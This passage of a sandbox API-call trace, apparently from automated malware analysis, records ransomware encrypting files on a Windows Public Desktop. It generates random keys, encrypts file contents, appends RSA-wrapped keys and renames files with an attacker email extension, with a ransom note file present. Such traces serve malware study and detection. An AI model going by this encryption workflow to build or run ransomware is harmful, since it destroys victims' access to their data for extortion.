(in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.292] FindNextFileW (in: hFindFile=0x630940, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150ba6e4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x150ba6e4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1536910e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0149.292] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.292] SetFileAttributesW (lpFileName="\\Users\\Public\\Desktop\\Mozilla Firefox.lnk", dwFileAttributes=0x80) returned 1 [0149.292] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0149.292] CreateFileW (lpFileName="\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x614 [0149.292] GetFileSizeEx (in: hFile=0x614, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=999) returned 1 [0149.292] ReadFile (in: hFile=0x614, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x3e7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x3e7, lpOverlapped=0x0) returned 1 [0149.293] SetFilePointer (in: hFile=0x614, lDistanceToMove=-999, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.293] WriteFile (in: hFile=0x614, lpBuffer=0x5b5e80*, nNumberOfBytesToWrite=0x3e7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5e80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3e7, lpOverlapped=0x0) returned 1 [0149.293] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0149.293] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5e80 | out: hHeap=0x570000) returned 1 [0149.293] SetFilePointer (in: hFile=0x614, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3e7 [0149.293] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.294] WriteFile (in: hFile=0x614, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.294] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.294] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.294] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.294] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="zJssIDUp33d467eGx0ZxGTnYS1EbDuV4aHIFdx1fJVY+uj0WMcxsbVgeOJPqJrDt\n0pLd/Ga9X0NQvTYKiEoLNzdJJ6+TchKoOS7pAb1SQtdkwf2ygBOkDd0IwFToOiXa\nDeyMllDN3cUCABdHLDhtmil5YEEIJkPD+yjRYH1D6ycWJ+PMqFfJTcaKjNFeijf9\nAQ5B7AZycZSLpEKK+2QqGDfY1OV23fWAuUZrlQnnFWr5gacYVS0i7IS6HDuf65Kd\nwzKg2SdqDyaB0VmF0bT5Fktd1HUtN5GmFllqh/N/LPHnpfM3n8KmA2Jpws80TVXi\n5lqEeJOaVuPFIPLfO1cOqQ==\n", pcchString=0x2e3f9a8) returned 1 [0149.294] WriteFile (in: hFile=0x614, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.294] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.294] WriteFile (in: hFile=0x614, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.294] CloseHandle (hObject=0x614) returned 1 [0149.295] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.295] MoveFileExW (lpExistingFileName="\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), lpNewFileName="\\Users\\Public\\Desktop\\Mozilla Firefox.lnk.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0149.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0149.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0149.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0149.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.297] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.297] SetFileAttributesW (lpFileName="\\Users\\Public\\Desktop\\Google Chrome.lnk", dwFileAttributes=0x80) returned 1 [0149.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be268 [0149.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0149.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be268 | out: hHeap=0x570000) returned 1 [0149.297] CreateFileW (lpFileName="\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x614 [0149.297] GetFileSizeEx (in: hFile=0x614, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2330) returned 1 [0149.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x91a) returned 0x631898 [0149.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x91a) returned 0x6321c0 [0149.297] ReadFile (in: hFile=0x614, lpBuffer=0x631898, nNumberOfBytesToRead=0x91a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x91a, lpOverlapped=0x0) returned 1 [0149.298] SetFilePointer (in: hFile=0x614, lDistanceToMove=-2330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.298] WriteFile (in: hFile=0x614, lpBuffer=0x6321c0*, nNumberOfBytesToWrite=0x91a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6321c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x91a, lpOverlapped=0x0) returned 1 [0149.298] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0149.298] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6321c0 | out: hHeap=0x570000) returned 1 [0149.298] SetFilePointer (in: hFile=0x614, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x91a [0149.299] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.299] WriteFile (in: hFile=0x614, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.299] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.299] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.299] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.299] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.299] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="aSsvSEapcaS+x/7E51ZOjLQCdL2DAFOg6ZN4R+2SXUO7bFsrMcFP/ECSUoorCoc6\nodvhk7ehudDoFYsIpwnilHAwVXC3w0JoviEyloXf4IAEKS6Ume3P0xRuGGlJ9msc\nRH9Hl9zH+aSwt1WJ3XPuYh5Ifk//d4clx8+oo9NcvxdC22fdupcr6r2+wKCwY1nz\nz7Dvph0KX7Xk+zPOnrLOnC7peepNqw4CH3GGaovMEjxEhjzZyUV4rX7IGGnzpIfB\ng5yJYvrVOD9Ut18t3fhSKKBGR+burx9GBqu/rInwA8yCIKpPR3sPMiryN9iDq+dh\nvlOoWyq18NKrspHWRQZAHw==\n", pcchString=0x2e3f9a8) returned 1 [0149.299] WriteFile (in: hFile=0x614, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.299] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.299] WriteFile (in: hFile=0x614, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.299] CloseHandle (hObject=0x614) returned 1 [0149.299] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.299] MoveFileExW (lpExistingFileName="\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), lpNewFileName="\\Users\\Public\\Desktop\\Google Chrome.lnk.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.301] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0149.301] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.301] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0149.301] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.301] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0149.301] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.301] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.301] SetFileAttributesW (lpFileName="\\Users\\Public\\Desktop\\desktop.ini", dwFileAttributes=0x80) returned 1 [0149.302] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0149.302] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0149.302] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0149.302] CreateFileW (lpFileName="\\Users\\Public\\Desktop\\desktop.ini" (normalized: "c:\\users\\public\\desktop\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x614 [0149.302] GetFileSizeEx (in: hFile=0x614, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=174) returned 1 [0149.302] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xae) returned 0x58e508 [0149.302] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xae) returned 0x58e170 [0149.302] ReadFile (in: hFile=0x614, lpBuffer=0x58e508, nNumberOfBytesToRead=0xae, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e508*, lpNumberOfBytesRead=0x2e3f9b4*=0xae, lpOverlapped=0x0) returned 1 [0149.303] SetFilePointer (in: hFile=0x614, lDistanceToMove=-174, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.303] WriteFile (in: hFile=0x614, lpBuffer=0x58e170*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e170*, lpNumberOfBytesWritten=0x2e3f9b4*=0xae, lpOverlapped=0x0) returned 1 [0149.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0149.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e170 | out: hHeap=0x570000) returned 1 [0149.303] SetFilePointer (in: hFile=0x614, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xae [0149.303] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.303] WriteFile (in: hFile=0x614, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.303] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.303] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.304] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.304] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.304] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="YkvfHbmHfJEu5Rc2AsrzfMfrWzMSgZ4sj1iGN07CLRyFltxcm6asIq+bKQxcABso\nlLQkw+/vxitnMWuRQ5XDejm0u8VEp6qc8mMA42ohj31dhtd5qXwR1GRdfsQYbzqa\n4eoyJ8KJFYCjBlXoCvFl8IVoARzZjsbeGYIgZ2vnAplcse3zfHZnd9JOb6un347r\nmADIweETE1bg//Stp8swVrDhxA0oV553Yl1WNikbF+UcoEi/SkJZO7USU2k6qTg0\nHh2flg3GA+/1cokCE9YoJ6QQRxv3nvk/GDUx5p9HmBrdc1xfADYBqQU54LZqXgTN\nkSfwjTanuYQPs6pWlg+5lA==\n", pcchString=0x2e3f9a8) returned 1 [0149.304] WriteFile (in: hFile=0x614, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.304] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.304] WriteFile (in: hFile=0x614, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.304] CloseHandle (hObject=0x614) returned 1 [0149.304] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.304] MoveFileExW (lpExistingFileName="\\Users\\Public\\Desktop\\desktop.ini" (normalized: "c:\\users\\public\\desktop\\desktop.ini"), lpNewFileName="\\Users\\Public\\Desktop\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\public\\desktop\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0149.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0149.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0149.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.306] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.306] SetFileAttributesW (lpFileName="\\Users\\Public\\Desktop\\Acrobat Reader DC.lnk", dwFileAttributes=0x80) returned 1 [0149.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0149.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0149.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0149.306] CreateFileW (lpFileName="\\Users\\Public\\Desktop\\Acrobat Reader DC.lnk" (normalized: "c:\\users\\public\\desktop\\acrobat reader dc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x614 [0149.307] GetFileSizeEx (in: hFile=0x614, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2130) returned 1 [0149.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x852) returned 0x631898 [0149.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x852) returned 0x6320f8 [0149.307] ReadFile (in: hFile=0x614, lpBuffer=0x631898, nNumberOfBytesToRead=0x852, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x852, lpOverlapped=0x0) returned 1 [0149.308] SetFilePointer (in: hFile=0x614, lDistanceToMove=-2130, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.308] WriteFile (in: hFile=0x614, lpBuffer=0x6320f8*, nNumberOfBytesToWrite=0x852, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6320f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x852, lpOverlapped=0x0) returned 1 [0149.308] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0149.308] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6320f8 | out: hHeap=0x570000) returned 1 [0149.308] SetFilePointer (in: hFile=0x614, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x852 [0149.308] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.308] WriteFile (in: hFile=0x614, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.308] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.308] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.308] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.308] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="tsI7IvJJ4XrRmIyKaU2OMTp6BpRE0FPglkFpRlBO6+WSu1u/0flzlcupnq0HMy0p\n7Ac+5ts+iHy5EXkjUimwlLX4SWx+azaLWSghEjdGl0GasTe/3eJMiHqKuwGynDjL\nYY0pubuKUrigzRQaz0bWzTWrd7A/Hc1C8yfr0UFDNBLP72MUMEZOl52IA4eYyjJ6\nyhSPdZM6SOpna3oTFC9vXMVOG7U+d+QdzZ4YtzYrKLsey68809Uggs5aGGtsGuho\nticUXrcuig4e/mAoMFWDFlFSUGXqtRTefflx5sgZCrA293ZzahBw57dTYPG+3g5r\ndvWlwlRsQ5Eo88mseuBZQg==\n", pcchString=0x2e3f9a8) returned 1 [0149.309] WriteFile (in: hFile=0x614, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.309] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.309] WriteFile (in: hFile=0x614, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.309] CloseHandle (hObject=0x614) returned 1 [0149.309] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.309] MoveFileExW (lpExistingFileName="\\Users\\Public\\Desktop\\Acrobat Reader DC.lnk" (normalized: "c:\\users\\public\\desktop\\acrobat reader dc.lnk"), lpNewFileName="\\Users\\Public\\Desktop\\Acrobat Reader DC.lnk.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\public\\desktop\\acrobat reader dc.lnk.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.311] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0149.311] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.311] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0149.311] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0149.311] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0149.311] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef90 | out: hHeap=0x570000) returned 1 [0149.311] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb68 | out: hHeap=0x570000) returned 1 [0149.311] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0149.311] FindFirstFileW (in: lpFileName="\\Users\\Public\\Documents\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x150e092f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6308c0 [0149.311] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0149.311] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0149.311] GetLastError () returned 0x0 [0149.311] SetLastError (dwErrCode=0x0) [0149.311] GetLastError () returned 0x0 [0149.311] SetLastError (dwErrCode=0x0) [0149.311] GetLastError () returned 0x0 [0149.311] SetLastError (dwErrCode=0x0) [0149.311] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0149.312] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bf028 [0149.312] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0149.312] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.312] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630a40 [0149.312] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630a40 | out: hHeap=0x570000) returned 1 [0149.312] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0149.312] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0149.312] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.312] HeapFree (in: hHeap=0x570000, 